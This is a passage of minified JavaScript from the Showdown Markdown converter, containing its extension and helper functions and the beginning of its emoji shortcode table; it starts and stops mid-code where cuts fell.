found");w.resetOptions();var r=m[e];for(var a in g=e,r)r.hasOwnProperty(a)&&(_[a]=r[a])},w.getFlavor=function(){return g},w.getFlavorOptions=function(e){if(m.hasOwnProperty(e))return m[e]},w.getDefaultOptions=function(e){return t(e)},w.subParser=function(e,r){if(w.helper.isString(e)){if(void 0===r){if(a.hasOwnProperty(e))return a[e];throw Error("SubParser named "+e+" not registered!")}a[e]=r}},w.extension=function(e,r){if(!w.helper.isString(e))throw Error("Extension 'name' must be a string");if(e=w.helper.stdExtName(e),w.helper.isUndefined(r)){if(!h.hasOwnProperty(e))throw Error("Extension named "+e+" is not registered!");return h[e]}"function"==typeof r&&(r=r()),w.helper.isArray(r)||(r=[r]);var a=f(r,e);if(!a.valid)throw Error(a.error);h[e]=r},w.getAllExtensions=function(){return h},w.removeExtension=function(e){delete h[e]},w.resetExtensions=function(){h={}},w.validateExtension=function(e){var r=f(e,null);return!!r.valid},w.hasOwnProperty("helper")||(w.helper={}),w.helper.isString=function(e){return"string"==typeof e||e instanceof String},w.helper.isFunction=function(e){return e&&"[object Function]"==={}.toString.call(e)},w.helper.isArray=function(e){return Array.isArray(e)},w.helper.isUndefined=function(e){return void 0===e},w.helper.forEach=function(e,r){if(w.helper.isUndefined(e))throw new Error("obj param is required");if(w.helper.isUndefined(r))throw new Error("callback param is required");if(!w.helper.isFunction(r))throw new Error("callback param must be a function/closure");if("function"==typeof e.forEach)e.forEach(r);else if(w.helper.isArray(e))for(var a=0;a<e.length;a++)r(e[a],a,e);else{if("object"!==p(e))throw new Error("obj does not seem to be an array or an iterable object");for(var t in e)e.hasOwnProperty(t)&&r(e[t],t,e)}},w.helper.stdExtName=function(e){return e.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},w.helper.escapeCharactersCallback=o,w.helper.escapeCharacters=function(e,r,a){var t="(["+r.replace(/([\[\]\\])/g,"\\$1")+"])";a&&(t="\\\\"+t);var n=new RegExp(t,"g");return e=e.replace(n,o)},w.helper.unescapeHTMLEntities=function(e){return e.replace(/"/g,'"').replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")};var b=function b(e,r,a,t){var n,o,s,i,l,c=t||"",u=-1<c.indexOf("g"),d=new RegExp(r+"|"+a,"g"+c.replace(/g/g,"")),p=new RegExp(r,c.replace(/g/g,"")),h=[];do{for(n=0;s=d.exec(e);)if(p.test(s[0]))n++||(i=(o=d.lastIndex)-s[0].length);else if(n&&!--n){l=s.index+s[0].length;var _={left:{start:i,end:o},match:{start:o,end:s.index},right:{start:s.index,end:l},wholeMatch:{start:i,end:l}};if(h.push(_),!u)return h}}while(n&&(d.lastIndex=o));return h};w.helper.matchRecursiveRegExp=function(e,r,a,t){for(var n=b(e,r,a,t),o=[],s=0;s<n.length;++s)o.push([e.slice(n[s].wholeMatch.start,n[s].wholeMatch.end),e.slice(n[s].match.start,n[s].match.end),e.slice(n[s].left.start,n[s].left.end),e.slice(n[s].right.start,n[s].right.end)]);return o},w.helper.replaceRecursiveRegExp=function(e,r,a,t,n){if(!w.helper.isFunction(r)){var o=r;r=function r(){return o}}var s=b(e,a,t,n),i=e,l=s.length;if(0<l){var c=[];0!==s[0].wholeMatch.start&&c.push(e.slice(0,s[0].wholeMatch.start));for(var u=0;u<l;++u)c.push(r(e.slice(s[u].wholeMatch.start,s[u].wholeMatch.end),e.slice(s[u].match.start,s[u].match.end),e.slice(s[u].left.start,s[u].left.end),e.slice(s[u].right.start,s[u].right.end))),u<l-1&&c.push(e.slice(s[u].wholeMatch.end,s[u+1].wholeMatch.start));s[l-1].wholeMatch.end<e.length&&c.push(e.slice(s[l-1].wholeMatch.end)),i=c.join("")}return i},w.helper.regexIndexOf=function(e,r,a){if(!w.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(r instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var t=e.substring(a||0).search(r);return 0<=t?t+(a||0):t},w.helper.splitAtIndex=function(e,r){if(!w.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[e.substring(0,r),e.substring(r)]},w.helper.encodeEmailAddress=function(e){var a=[function(e){return"&#"+e.charCodeAt(0)+";"},function(e){return"&#x"+e.charCodeAt(0).toString(16)+";"},function(e){return e}];return e=e.replace(/./g,function(e){if("@"===e)e=a[Math.floor(2*Math.random())](e);else{var r=Math.random();e=.9<r?a[2](e):.45<r?a[1](e):a[0](e)}return e})},w.helper.padEnd=function(e,r,a){return r>>=0,a=String(a||" "),e.length>r?String(e):((r-=e.length)>a.length&&(a+=a.repeat(r/a.length)),String(e)+a.slice(0,r))},"undefined"==typeof console&&(console={warn:function(e){alert(e)},log:function(e){alert(e)},error:function(e){throw e}}),w.helper.regexes={asteriskDashAndColon:/([*_:~])/g},w.helper.emojis={"+1":"\ud83d\udc4d","-1":"\ud83d\udc4e",100:"\ud83d\udcaf",1234:"\ud83d\udd22","1st_place_medal":"\ud83e\udd47","2nd_place_medal":"\ud83e\udd48","3rd_place_medal":"\ud83e\udd49","8ball":"\ud83c\udfb1",a:"\ud83c\udd70\ufe0f",ab:"\ud83c\udd8e",abc:"\ud83d\udd24",abcd:"\ud83d\udd21",accept:"\ud83c\ude51",aerial_tramway:"\ud83d\udea1",airplane:"\u2708\ufe0f",alarm_clock:"\u23f0",alembic:"\u2697\ufe0f",alien:"\ud83d\udc7d",ambulance:"\ud83d\ude91",amphora:"\ud83c\udffa",anchor:"\u2693\ufe0f",angel:"\ud83d\udc7c",anger:"\ud83d\udca2",angry:"\ud83d\ude20",anguished:"\ud83d\ude27",ant:"\ud83d\udc1c",apple:"\ud83c\udf4e",aquarius:"\u2652\ufe0f",aries:"\u2648\ufe0f",arrow_backward:"\u25c0\ufe0f",arrow_double_down:"\u23ec",arrow_double_up:"\u23eb",arrow_down:"\u2b07\ufe0f",arrow_down_small:"\ud83d\udd3d",arrow_forward:"\u25b6\ufe0f",arrow_heading_down:"\u2935\ufe0f",arrow_heading_up:"\u2934\ufe0f",arrow_left:"\u2b05\ufe0f",arrow_lower_left:"\u2199\ufe0f",arrow_lower_right:"\u2198\ufe0f",arrow_right:"\u27a1\ufe0f",arrow_right_hook:"\u21aa\ufe0f",arrow_up:"\u2b06\ufe0f",arrow_up_down:"\u2195\ufe0f",arrow_up_small:"\ud83d\udd3c",arrow_upper_left:"\u2196\ufe0f",arrow_upper_right:"\u2197\ufe0f",arrows_clockwise:"\ud83d\udd03",arrows_counterclockwise:"\ud83d\udd04",art:"\ud83c\udfa8",articulated_lorry:"\ud83d\ude9b",artificial_satellite:"\ud83d\udef0",astonished:"\ud83d\ude32",athletic_shoe:"\ud83d\udc5f",atm:"\ud83c\udfe7",atom_symbol:"\u269b\ufe0f",avocado:"\ud83e\udd51",b:"\ud83c\udd71\ufe0f",baby:"\ud83d\udc76",baby_bottle:"\ud83c\udf7c",baby_chick:"\ud83d\udc24",baby_symbol:"\ud83d\udebc",back:"\ud83d\udd19",bacon:"\ud83e\udd53",badminton:"\ud83c\udff8",baggage_claim:"\ud83d\udec4",baguette_bread:"\ud83e\udd56",balance_scale:"\u2696\ufe0f",balloon:"\ud83c\udf88",ballot_box:"\ud83d\uddf3",ballot_box_with_check:"\u2611\ufe0f",bamboo:"\ud83c\udf8d",banana:"\ud83c\udf4c",bangbang:"\u203c\ufe0f",bank:"\ud83c\udfe6",bar_chart:"\ud83d\udcca",barber:"\ud83d\udc88",baseball:"\u26be\ufe0f",basketball:"\ud83c\udfc0",basketball_man:"\u26f9\ufe0f",basketball_woman:"\u26f9\ufe0f‍\u2640\ufe0f",bat:"\ud83e\udd87",bath:"\ud83d\udec0",bathtub:"\ud83d\udec1",battery:"\ud83d\udd0b",beach_umbrella:"\ud83c\udfd6",bear:"\ud83d\udc3b",bed:"\ud83d\udecf",bee:"\ud83d\udc1d",beer:"\ud83c\udf7a",beers:"\ud83c\udf7b",beetle:"\ud83d\udc1e",beginner:"\ud83d\udd30",bell:"\ud83d\udd14",bellhop_bell:"\ud83d\udece",bento:"\ud83c\udf71",biking_man:"\ud83d\udeb4",bike:"\ud83d\udeb2",biking_woman:"\ud83d\udeb4‍\u2640\ufe0f",bikini:"\ud83d\udc59",biohazard:"\u2623\ufe0f",bird:"\ud83d\udc26",birthday:"\ud83c\udf82",black_circle:"\u26ab\ufe0f",black_flag:"\ud83c\udff4",black_heart:"\ud83d\udda4",black_joker:"\ud83c\udccf",black_large_square:"\u2b1b\ufe0f",black_medium_small_square:"\u25fe\ufe0f",black_medium_square:"\u25fc\ufe0f",black_nib:"\u2712\ufe0f",black_small_square:"\u25aa\ufe0f",black_square_button:"\ud83d\udd32",blonde_man:"\ud83d\udc71",blonde_woman:"\ud83d\udc71‍\u2640\ufe0f",blossom:"\ud83c\udf3c",blowfish:"\ud83d\udc21",blue_book:"\ud83d\udcd8",blue_car:"\ud83d\ude99",blue_heart:"\ud83d\udc99",blush:"\ud83d\ude0a",boar:"\ud83d\udc17",boat:"\u26f5\ufe0f",bomb:"\ud83d\udca3",book:"\ud83d\udcd6",bookmark:"\ud83d\udd16",bookmark_tabs:"\ud83d\udcd1",books:"\ud83d\udcda",boom:"\ud83d\udca5",boot:"\ud83d\udc62",bouquet:"\ud83d\udc90",bowing_man:"\ud83d\ude47",bow_and_arrow:"\ud83c\udff9",bowing_woman:"\ud83d\ude47‍\u2640\ufe0f",bowling:"\ud83c\udfb3",boxing_glove:"\ud83e\udd4a",boy:"\ud83d\udc66",bread:"\ud83c\udf5e",bride_with_veil:"\ud83d\udc70",bridge_at_night:"\ud83c\udf09",briefcase:"\ud83d\udcbc",broken_heart:"\ud83d\udc94",bug:"\ud83d\udc1b",building_construction:"\ud83c\udfd7",bulb:"\ud83d\udca1",bullettrain_front:"\ud83d\ude85",bullettrain_side:"\ud83d\ude84",burrito:"\ud83c\udf2f",bus:"\ud83d\ude8c",business_suit_levitating:"\ud83d\udd74",busstop:"\ud83d\ude8f",bust_in_silhouette:"\ud83d\udc64",busts_in_silhouette:"\ud83d\udc65",butterfly:"\ud83e\udd8b",cactus:"\ud83c\udf35",cake:"\ud83c\udf70",calendar:"\ud83d\udcc6",call_me_hand:"\ud83e\udd19",calling:"\ud83d\udcf2",camel:"\ud83d\udc2b",camera:"\ud83d\udcf7",camera_flash:"\ud83d\udcf8",camping:"\ud83c\udfd5",cancer:"\u264b\ufe0f",candle:"\ud83d\udd6f",candy:"\ud83c\udf6c",canoe:"\ud83d\udef6",capital_abcd:"\ud83d\udd20",capricorn:"\u2651\ufe0f",car:"\ud83d\ude97",card_file_box:"\ud83d\uddc3",card_index:"\ud83d\udcc7",card_index_dividers:"\ud83d\uddc2",carousel_horse:"\ud83c\udfa0",carrot:"\ud83e\udd55",cat:"\ud83d\udc31",cat2:"\ud83d\udc08",cd:"\ud83d\udcbf",chains:"\u26d3",champagne:"\ud83c\udf7e",chart:"\ud83d\udcb9",chart_with_downwards_trend:"\ud83d\udcc9",chart_with_upwards_trend:"\ud83d\udcc8",checkered_flag:"\ud83c\udfc1",cheese:"\ud83e\uddc0",cherries:"\ud83c\udf52",cherry_blossom:"\ud83c\udf38",chestnut:"\ud83c\udf30",chicken:"\ud83d\udc14",children_crossing:"\ud83d\udeb8",chipmunk:"\ud83d\udc3f",chocolate_bar:"\ud83c\udf6b",christmas_tree:"\ud83c\udf84",church:"\u26ea\ufe0f",cinema:"\ud83c\udfa6",circus_tent:"\ud83c\udfaa",city_sunrise:"\ud83c\udf07",city_sunset:"\ud83c\udf06",cityscape:"\ud83c\udfd9",cl:"\ud83c\udd91",clamp:"\ud83d\udddc",clap:"\ud83d\udc4f",clapper:"\ud83c\udfac",classical_building:"\ud83c\udfdb",clinking_glasses:"\ud83e\udd42",clipboard:"\ud83d\udccb",clock1:"\ud83d\udd50",clock10:"\ud83d\udd59",clock1030:"\ud83d\udd65",clock11:"\ud83d\udd5a",clock1130:"\ud83d\udd66",clock12:"\ud83d\udd5b",clock1230:"\ud83d\udd67",clock130:"\ud83d\udd5c",clock2:"\ud83d\udd51",clock230:"\ud83d\udd5d",clock3:"\ud83d\udd52",clock330:"\ud83d\udd5e",clock4:"\ud83d\udd53",clock430:"\ud83d\udd5f",clock5:"\ud83d\udd54",clock530:"\ud83d\udd60",clock6:"\ud83d\udd55",clock630:"\ud83d\udd61",clock7:"\ud83d\udd56",clock730:"\ud83d\udd62",clock8:"\ud83d\udd57",clock830:"\ud83d\udd63",clock9:"\ud83d\udd58",clock930:"\ud83d\udd64",closed_book:"\ud83d\udcd5",closed_lock_with_key:"\ud83d\udd10",closed_umbrella:"\ud83c\udf02",cloud:"\u2601\ufe0f",cloud_with_lightning:"\ud83c\udf29",cloud_with_lightning_and_rain:"\u26c8",cloud_with_rain:"\ud83c\udf27",cloud_with_snow:"\ud83c\udf28",clown_face:"\ud83e\udd21",clubs:"\u2663\ufe0f",cocktail:"\ud83c\udf78",coffee:"\u2615\ufe0f",coffin:"\u26b0\ufe0f",cold_sweat:"\ud83d\ude30",comet:"\u2604\ufe0f",computer:"\ud83d\udcbb",computer_mouse:"\ud83d\uddb1",confetti_ball:"\ud83c\udf8a",confounded:"\ud83d\ude16",confused:"\ud83d\ude15",congratulations:"\u3297\ufe0f",construction:"\ud83d\udea7",construction_worker_man:"\ud83d\udc77",construction_worker_woman:"\ud83d\udc77‍\u2640\ufe0f",control_knobs:"\ud83c\udf9b",convenience_store:"\ud83c\udfea",cookie:"\ud83c\udf6a",cool:"\ud83c\udd92",policeman:"\ud83d\udc6e",copyright:"\xa9\ufe0f",corn:"\ud83c\udf3d",couch_and_lamp:"\ud83d\udecb",couple:"\ud83d\udc6b",couple_with_heart_woman_man:"\ud83d\udc91",couple_with_heart_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc68",couple_with_heart_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc69",couplekiss_man_man:"\ud83d\udc68‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc68",couplekiss_man_woman:"\ud83d\udc8f",couplekiss_woman_woman:"\ud83d\udc69‍\u2764\ufe0f‍\ud83d\udc8b‍\ud83d\udc69",cow:"\ud83d\udc2e",cow2:"\ud83d\udc04",cowboy_hat_face:"\ud83e\udd20",crab:"\ud83e\udd80",crayon:"\ud83d\udd8d",credit_card:"\ud83d\udcb3",crescent_moon:"\ud83c\udf19",cricket:"\ud83c\udfcf",crocodile:"\ud83d\udc0a",croissant:"\ud83e\udd50",crossed_fingers:"\ud83e\udd1e",crossed_flags:"\ud83c\udf8c",crossed_swords:"\u2694\ufe0f",crown:"\ud83d\udc51",cry:"\ud83d\ude22",crying_cat_face:"\ud83d\ude3f",crystal_ball:"\ud83d\udd2e",cucumber:"\ud83e\udd52",cupid:"\ud83d\udc98",curly_loop:"\u27b0",currency_exchange:"\ud83d\udcb1",curry:"\ud83c\udf5b",custard:"\ud83c\udf6e",customs:"\ud83d\udec3",cyclone:"\ud83c\udf00",dagger:"\ud83d\udde1",dancer:"\ud83d\udc83",dancing_women:"\ud83d\udc6f",dancing_men:"\ud83d\udc6f‍\u2642\ufe0f",dango:"\ud83c\udf61",dark_sunglasses:"\ud83d\udd76",dart:"\ud83c\udfaf",dash:"\ud83d\udca8",date:"\ud83d\udcc5",deciduous_tree:"\ud83c\udf33",deer:"\ud83e\udd8c",department_store:"\ud83c\udfec",derelict_house:"\ud83c\udfda",desert:"\ud83c\udfdc",desert_island:"\ud83c\udfdd",desktop_computer:"\ud83d\udda5",male_detective:"\ud83d\udd75\ufe0f",diamond_shape_with_a_dot_inside:"\ud83d\udca0",diamonds:"\u2666\ufe0f",disappointed:"\ud83d\ude1e",disappointed_relieved:"\ud83d\ude25",dizzy:"\ud83d\udcab",dizzy_face:"\ud83d\ude35",do_not_litter:"\ud83d\udeaf",dog:"\ud83d\udc36",dog2:"\ud83d\udc15",dollar:"\ud83d\udcb5",dolls:"\ud83c\udf8e",dolphin:"\ud83d\udc2c",door:"\ud83d\udeaa",doughnut:"\ud83c\udf69",dove:"\ud83d\udd4a",dragon:"\ud83d\udc09",dragon_face:"\ud83d\udc32",dress:"\ud83d\udc57",dromedary_camel:"\ud83d\udc2a",drooling_face:"\ud83e\udd24",droplet:"\ud83d\udca7",drum:"\ud83e\udd41",duck:"\ud83e\udd86",dvd:"\ud83d\udcc0","e-mail":"\ud83d\udce7",eagle:"\ud83e\udd85",ear:"\ud83d\udc42",ear_of_rice:"\ud83c\udf3e",earth_africa:"\ud83c\udf0d",earth_americas:"\ud83c\udf0e",earth_asia:"\ud83c\udf0f",egg:"\ud83e\udd5a",eggplant:"\ud83c\udf46",eight_pointed_black_star:"\u2734\ufe0f",eight_spoked_asterisk:"\u2733\ufe0f",electric_plug:"\ud83d\udd0c",elephant:"\ud83d\udc18",email:"\u2709\ufe0f",end:"\ud83d\udd1a",envelope_with_arrow:"\ud83d\udce9",euro:"\ud83d\udcb6",european_castle:"\ud83c\udff0",european_post_office:"\ud83c\udfe4",evergreen_tree:"\ud83c\udf32",exclamation:"\u2757\ufe0f",expressionless:"\ud83d\ude11",eye:"\ud83d\udc41",eye_speech_bubble:"\ud83d\udc41‍\ud83d\udde8",eyeglasses:"\ud83d\udc53",eyes:"\ud83d\udc40",face_with_head_bandage:"\ud83e\udd15",face_with_thermometer:"\ud83e\udd12",fist_oncoming:"\ud83d\udc4a",factory:"\ud83c\udfed",fallen_leaf:"\ud83c\udf42",family_man_woman_boy:"\ud83d\udc6a",family_man_boy:"\ud83d\udc68‍\ud83d\udc66",family_man_boy_boy:"\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_girl:"\ud83d\udc68‍\ud83d\udc67",family_man_girl_boy:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_girl_girl:"\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_man_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66",family_man_man_boy_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc66‍\ud83d\udc66",family_man_man_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67",family_man_man_girl_boy:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc66",family_man_man_girl_girl:"\ud83d\udc68‍\ud83d\udc68‍\ud83d\udc67‍\ud83d\udc67",family_man_woman_boy_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_man_woman_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67",family_man_woman_girl_boy:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_man_woman_girl_girl:"\ud83d\udc68‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_boy:"\ud83d\udc69‍\ud83d\udc66",family_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_girl:"\ud83d\udc69‍\ud83d\udc67",family_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",family_woman_woman_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66",family_woman_woman_boy_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc66‍\ud83d\udc66",family_woman_woman_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67",family_woman_woman_girl_boy:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc66",family_woman_woman_girl_girl:"\ud83d\udc69‍\ud83d\udc69‍\ud83d\udc67‍\ud83d\udc67",fast_forward:"\u23e9",fax:"\ud83d\udce0",fearful:"\ud83d\ude28",feet:"\ud83d\udc3e",female_detective:"\ud83d\udd75\ufe0f‍\u2640\ufe0f",ferris_wheel:"\ud83c\udfa1",ferry:"\u26f4",field_hockey:"\ud83c\udfd1",file_cabinet:"\ud83d\uddc4",file_folder:"\ud83d\udcc1",film_projector:"\ud83d\udcfd",film_strip:"\ud83c\udf9e",fire:"\ud83d\udd25",fire_engine:"\ud83d\ude92",fireworks:"\ud83c\udf86",first_quarter_moon:"\ud83c\udf13",first_quarter_moon_with_face:"\ud83c\udf1b",fish:"\ud83d\udc1f",fish_cake:"\ud83c\udf65",fishing_pole_and_fish:"\ud83c\udfa3",fist_raised:"\u270a",fist_left:"\ud83e\udd1b",fist_right:"\ud83e\udd1c",flags:"\ud83c\udf8f",flashlight:"\ud83d\udd26",fleur_de_lis:"\u269c\ufe0f",flight_arrival:"\ud83d\udeec",flight_departure:"\ud83d\udeeb",floppy_disk:"\ud83d\udcbe",flower_playing_cards:"\ud83c\udfb4",flushed:"\ud83d\ude33",fog:"\ud83c\udf2b",foggy:"\ud83c\udf01",football:"\ud83c\udfc8",footprints:"\ud83d\udc63",fork_and_knife:"\ud83c\udf74",fountain:"\u26f2\ufe0f",fountain_pen:"\ud83d\udd8b",four_leaf_clover:"\ud83c\udf40",fox_face:"\ud83e\udd8a",framed_picture:"\ud83d\uddbc",free:"\ud83c\udd93",fried_egg:"\ud83c\udf73",fried_shrimp:"\ud83c\udf64",fries:"\ud83c\udf5f",frog:"\ud83d\udc38",frowning:"\ud83d\ude26",frowning_face:"\u2639\ufe0f",frowning_man:"\ud83d\ude4d‍\u2642\ufe0f",frowning_woman:"\ud83d\ude4d",middle_finger:"\ud83d\udd95",fuelpump:"\u26fd\ufe0f",full_moon:"\ud83c\udf15",full_moon_with_face:"\ud83c\udf1d",funeral_urn:"\u26b1\ufe0f",game_die:"\ud83c\udfb2",gear:"\u2699\ufe0f",gem:"\ud83d\udc8e",gemini:"\u264a\ufe0f",ghost:"\ud83d\udc7b",gift:"\ud83c\udf81",gift_heart:"\ud83d\udc9d",girl:"\ud83d\udc67",globe_with_meridians:"\ud83c\udf10",goal_net:"\ud83e\udd45",goat:"\ud83d\udc10",golf:"\u26f3\ufe0f",golfing_man:"\ud83c\udfcc\ufe0f",golfing_woman:"\ud83c\udfcc\ufe0f‍\u2640\ufe0f",gorilla:"\ud83e\udd8d",grapes:"\ud83c\udf47",green_apple:"\ud83c\udf4f",green_book:"\ud83d\udcd7",green_heart:"\ud83d\udc9a",green_salad:"\ud83e\udd57",grey_exclamation:"\u2755",grey_question:"\u2754",grimacing:"\ud83d\ude2c",grin:"\ud83d\ude01",grinning:"\ud83d\ude00",guardsman:"\ud83d\udc82",guardswoman:"\ud83d\udc82‍\u2640\ufe0f",guitar:"\ud83c\udfb8",gun:"\ud83d\udd2b",haircut_woman:"\ud83d\udc87",haircut_man:"\ud83d\udc87‍\u2642\ufe0f",hamburger:"\ud83c\udf54",hammer:"\ud83d\udd28",hammer_and_pick:"\u2692",hammer_and_wrench:"\ud83d\udee0",hamster:"\ud83d\udc39",hand:"\u270b",handbag:"\ud83d\udc5c",handshake:"\ud83e\udd1d",hankey:"\ud83d\udca9",hatched_chick:"\ud83d\udc25",hatching_chick:"\ud83d\udc23",headphones:"\ud83c\udfa7",hear_no_evil:"\ud83d\ude49",heart:"\u2764\ufe0f",heart_decoration:"\ud83d\udc9f",heart_eyes:"\ud83d\ude0d",heart_eyes_cat:"\ud83d\ude3b",heartbeat:"\ud83d\udc93",heartpulse:"\ud83d\udc97",hearts:"\u2665\ufe0f",heavy_check_mark:"\u2714\ufe0f",heavy_division_sign:"\u2797",heavy_dollar_sign:"\ud83d\udcb2",heavy_heart_exclamation:"\u2763\ufe0f",heavy_minus_sign:"\u2796",heavy_multiplication_x:"\u2716\ufe0f",heavy_plus_sign:"\u2795",helicopter:"\ud83d\ude81",herb:"\ud83c\udf3f",hibiscus:"\ud83c\udf3a",high_brightness:"\ud83d\udd06",high_heel:"\ud83d\udc60",hocho:"\ud83d\udd2a",hole:"\ud83d\udd73",honey_pot:"\ud83c\udf6f",horse:"\ud83d\udc34",horse_racing:"\ud83c\udfc7",hospital:"\ud83c\udfe5",hot_pepper:"\ud83c\udf36",hotdog:"\ud83c\udf2d",hotel:"\ud83c\udfe8",hotsprings:"\u2668\ufe0f",hourglass:"\u231b\ufe0f",hourglass_flowing_sand:"\u23f3",house:"\ud83c\udfe0",house_with_garden:"\ud83c\udfe1",houses:"\ud83c\udfd8",hugs:"\ud83e\udd17",hushed:"\ud83d\ude2f",ice_cream:"\ud83c\udf68",ice_hockey:"\ud83c\udfd2",ice_skate:"\u26f8",icecream:"\ud83c\udf66",id:"\ud83c\udd94",ideograph_advantage:"\ud83c\ude50",imp:"\ud83d\udc7f",inbox_tray:"\ud83d\udce5",incoming_envelope:"\ud83d\udce8",tipping_hand_woman:"\ud83d\udc81",information_source:"\u2139\ufe0f",innocent:"\ud83d\ude07",interrobang:"\u2049\ufe0f",iphone:"\ud83d\udcf1",izakaya_lantern:"\ud83c\udfee",jack_o_lantern:"\ud83c\udf83",japan:"\ud83d\uddfe",japanese_castle:"\ud83c\udfef",japanese_goblin:"\ud83d\udc7a",japanese_ogre:"\ud83d\udc79",jeans:"\ud83d\udc56",joy:"\ud83d\ude02",joy_cat:"\ud83d\ude39",joystick:"\ud83d\udd79",kaaba:"\ud83d\udd4b",key:"\ud83d\udd11",keyboard:"\u2328\ufe0f",keycap_ten:"\ud83d\udd1f",kick_scooter:"\ud83d\udef4",kimono:"\ud83d\udc58",kiss:"\ud83d\udc8b",kissing:"\ud83d\ude17",kissing_cat:"\ud83d\ude3d",kissing_closed_eyes:"\ud83d\ude1a",kissing_heart:"\ud83d\ude18",kissing_smiling_eyes:"\ud83d\ude19",kiwi_fruit:"\ud83e\udd5d",koala:"\ud83d\udc28",koko:"\ud83c\ude01",label:"\ud83c\udff7",large_blue_circle:"\ud83d\udd35",large_blue_diamond:"\ud83d\udd37",large_orange_diamond:"\ud83d\udd36",last_quarter_moon:"\ud83c\udf17",last_quarter_moon_with_face:"\ud83c\udf1c",latin_cross:"\u271d\ufe0f",laughing:"\ud83d\ude06",leaves:"\ud83c\udf43",ledger:"\ud83d\udcd2",left_luggage:"\ud83d\udec5",left_right_arrow:"\u2194\ufe0f",leftwards_arrow_with_hook:"\u21a9\ufe0f",lemon:"\ud83c\udf4b",leo:"\u264c\ufe0f",leopard:"\ud83d\udc06",level_slider:"\ud83c\udf9a",libra:"\u264e\ufe0f",light_rail:"\ud83d\ude88",link:"\ud83d\udd17",lion:"\ud83e\udd81",lips:"\ud83d\udc44",lipstick:"\ud83d\udc84",lizard:"\ud83e\udd8e",lock:"\ud83d\udd12",lock_with_ink_pen:"\ud83d\udd0f",lollipop:"\ud83c\udf6d",loop:"\u27bf",loud_sound:"\ud83d\udd0a",loudspeaker:"\ud83d\udce2",love_hotel:"\ud83c\udfe9",love_letter:"\ud83d\udc8c",low_brightness:"\ud83d\udd05",lying_face:"\ud83e\udd25",m:"\u24c2\ufe0f",mag:"\ud83d\udd0d",mag_right:"\ud83d\udd0e",mahjong:"\ud83c\udc04\ufe0f",mailbox:"\ud83d\udceb",mailbox_closed:"\ud83d\udcea",mailbox_with_mail:"\ud83d\udcec",mailbox_with_no_mail:"\ud83d\udced",man:"\ud83d\udc68",man_artist:"\ud83d\udc68‍\ud83c\udfa8",man_astronaut:"\ud83d\udc68‍\ud83d\ude80",man_cartwheeling:"\ud83e\udd38‍\u2642\ufe0f",man_cook:"\ud83d\udc68‍\ud83c\udf73",man_dancing:"\ud83d\udd7a",man_facepalming:"\ud83e\udd26‍\u2642\ufe0f",man_factory_worker:"\ud83d\udc68‍\ud83c\udfed",man_farmer:"\ud83d\udc68‍\ud83c\udf3e",man_firefighter:"\ud83d\udc68‍\ud83d\ude92",man_health_worker:"\ud83d\udc68‍\u2695\ufe0f",man_in_tuxedo:"\ud83e\udd35",man_judge:"\ud83d\udc68‍\u2696\ufe0f",man_juggling:"\ud83e\udd39‍\u2642\ufe0f",man_mechanic:"\ud83d\udc68‍\ud83d\udd27",man_office_worker:"\ud83d\udc68‍\ud83d\udcbc",man_pilot:"\ud83d\udc68‍\u2708\ufe0f",man_playing_handball:"\ud83e\udd3e‍\u2642\ufe0f",man_playing_water_polo:"\ud83e\udd3d‍\u2642\ufe0f",man_scientist:"\ud83d\udc68‍\ud83d\udd2c",man_shrugging:"\ud83e\udd37‍\u2642\ufe0f",man_singer:"\ud83d\udc68‍\ud83c\udfa4",man_student:"\ud83d\udc68‍\ud83c\udf93",man_teacher:"\ud83d\udc68‍\ud83c\udfeb",man_technologist:"\ud83d\udc68‍\ud83d\udcbb",man_with_gua_pi_mao:"\ud83d\udc72",man_with_turban:"\ud83d\udc73",tangerine:"\ud83c\udf4a",mans_shoe:"\ud83d\udc5e",mantelpiece_clock:"\ud83d\udd70",maple_leaf:"\ud83c\udf41",martial_arts_uniform:"\ud83e\udd4b",mask:"\ud83d\ude37",massage_woman:"\ud83d\udc86",massage_man:"\ud83d\udc86‍\u2642\ufe0f",meat_on_bone:"\ud83c\udf56",medal_military:"\ud83c\udf96",medal_sports:"\ud83c\udfc5",mega:"\ud83d\udce3",melon:"\ud83c\udf48",memo:"\ud83d\udcdd",men_wrestling:"\ud83e\udd3c‍\u2642\ufe0f",menorah:"\ud83d\udd4e",mens:"\ud83d\udeb9",metal:"\ud83e\udd18",metro:"\ud83d\ude87",microphone:"\ud83c\udfa4",microscope:"\ud83d\udd2c",milk_glass:"\ud83e\udd5b",milky_way:"\ud83c\udf0c",minibus:"\ud83d\ude90",minidisc:"\ud83d\udcbd",mobile_phone_off:"\ud83d\udcf4",money_mouth_face:"\ud83e\udd11",money_with_wings:"\ud83d\udcb8",moneybag:"\ud83d\udcb0",monkey:"\ud83d\udc12",monkey_face:"\ud83d\ud